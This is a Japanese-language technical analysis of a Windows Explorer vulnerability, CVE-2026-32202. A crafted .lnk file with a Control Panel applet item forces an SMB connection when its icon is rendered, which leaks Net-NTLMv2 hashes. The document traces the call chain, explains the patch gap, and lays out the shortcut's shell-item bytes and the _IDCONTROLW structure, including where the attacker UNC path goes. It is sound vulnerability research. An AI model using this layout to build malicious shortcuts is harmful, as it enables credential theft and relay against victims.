
CVE-2026-32202の技術分析。Windows Explorerにおける細工された.lnkコントロールパネルアプレット項目を介したゼロクリックNTLM資格情報強制。
ゼロクリック強制認証:細工された .lnk を含むフォルダを表示すると、アイコン描画時に UNC 解決がトリガーされ、被害者を攻撃者が指定した外向き接続へ誘導し、その Net-NTLMv2 資格情報を漏洩させる(およびリレーを可能にする)。これは CVE-2026-21510 の不完全なパッチに起因して発生した。Microsoft が追加した信頼検証は ShellExecuteExW 呼び出し時、つまり起動時にのみ機能していたが、CControlPanelFolder::GetUIObjectOf の時点で既に被害が生じており、これは ShellExecute の信頼検証が行われる前に呼び出される。
Explorer はアイコンを取得するために CControlPanelFolder::GetUIObjectOf を呼び出す -> CControlPanelFolder::GetModuleMapped -> PathFileExistsW(modulepath) -> GetFileAttributesW(modulepath)。modulepath が UNC パスである場合、外向きの SMB 接続が行われる。起動は不要で、ファイルが存在するかどうかを問い合わせるだけでリモート stat がトリガーされ、それによって SMB 接続が強制される。SMB リダイレクタは任意のサーバー(TCP/445)への接続を開き、自動 NTLM 認証をトリガーして被害者の Net-NTLMv2 ハッシュを漏洩させる。0クリックで、アイコンを表示するだけでトリガーされる。
LinkTargetIDList
. IDListSize = 0xXXXX
. ITEMIDLIST =
. [SHITEMID] - Item #1 (binds CControlPanelFolder)
cb = 0x14 0x00
abID[0] = 0x1F - (CLSID (GUID) shell item)
abID[1] = 0x80 - (sort order index, hint, not part of the GUID)
abID[2..17] = 20 20 EC 21 EA 3A 69 10 A2 DD 08 00 2B 30 30 9D - (Control Panel CLSID)
. [SHITEMID] - Item #2 (All Control Panel Items view of CControlPanelFolder)
cb = 0x14 0x00
abID[0] = 0x1F
abID[1] = 0x80
abID[2..17] = 68 06 EE 26 0A A0 D7 44 93 71 BE B0 64 C9 86 83 - (All Control Panel Items CLSID)
. [SHITEMID] - Item #3 (CPL item parsed by CControlPanelFolder::GetUIObjectOf at render)
cb = 0xXX 0x00 - > 0x18 required; _IsUnicodeCPLWorker: cb must exceed 24
+0x02 .. - header bytes; +0x07 signature masked 0x00 or 0xFF (sub_18037D040 Gate 0)
+0x08 WORD = 0 - (checked by _IsUnicodeCPLWorker)
+0x0A WORD = 0 - (checked)
+0x0C BYTE = 0 - (checked)
+0x0D BYTE = 0x6A - Unicode-CPL type tag; flips parsing to the wide path
+0x14 WORD - wide offset (WCHARs) to string #2, ex. display name
+0x16 WORD - wide offset (WCHARs) to string #3
+0x18 WCHAR[] - wide string #1 = module path, attacker UNC goes here
コントロールパネルアプレットのアイテム種別には、モジュールパスのフィールドが含まれる。モジュールパスとは .cpl モジュールへのパスである。Shell Item #3 には Unicode コントロールパネルアプレットアイテム(_IDCONTROLW)が含まれる。このアイテムはシェルアイテムのクラス種別バイト(abID[0])によって識別されるのではないことに注意。代わりに、_IsUnicodeCPLWorker が次の 5 つの条件すべてを確認すると、生のバイト列が _IDCONTROLW として扱われる:
この述語によって、コードは +0x18 をモジュールパスとして読み取ることができる。_IsUnicodeCPLWorker は生のアイテムバイト列を調べ、これら 5 つの条件を確認し、それらが通過すれば同じポインタを _IDCONTROLW* にキャストして返すだけである。
struct _IDCONTROLW{
/* +0x00 */ WORD cb; // item size; _IsUnicodeCPLWorker requires cb > 0x18
/* +0x02 */ BYTE bClassType; // abID[0] in SHITEMID terms (shell-item type indicator)
/* +0x03 */ BYTE unk_03; // (high bytes of the +0x04 dword; +0x07 masked 0x00/0xFF in sub_18037D040 Gate 0)
/* +0x04 */ BYTE unk_04;
/* +0x05 */ BYTE unk_05;
/* +0x06 */ BYTE unk_06;
/* +0x07 */ BYTE bSig07; // (dword@+0x04 & 0xFF000000) must be 0x00 or 0xFF
/* +0x08 */ WORD mustBeZero_08; // checked == 0 by _IsUnicodeCPLWorker
/* +0x0A */ WORD mustBeZero_0A; // checked == 0
/* +0x0C */ BYTE mustBeZero_0C; // checked == 0
/* +0x0D */ BYTE bUnicodeTag; // == 0x6A : the Unicode-CPL tag (the thing "confirmed")
/* +0x0E */ BYTE unk_0E[6]; // unknown (spans to +0x13)
/* +0x14 */ WORD offString2; // WCHAR offset (into payload) to string #2 — e.g. display name
/* +0x16 */ WORD offString3; // WCHAR offset to string #3
/* +0x18 */ WCHAR szModule[]; // string #1 = module path <-- attacker UNC; GetModule copies from base+24 verbatim
};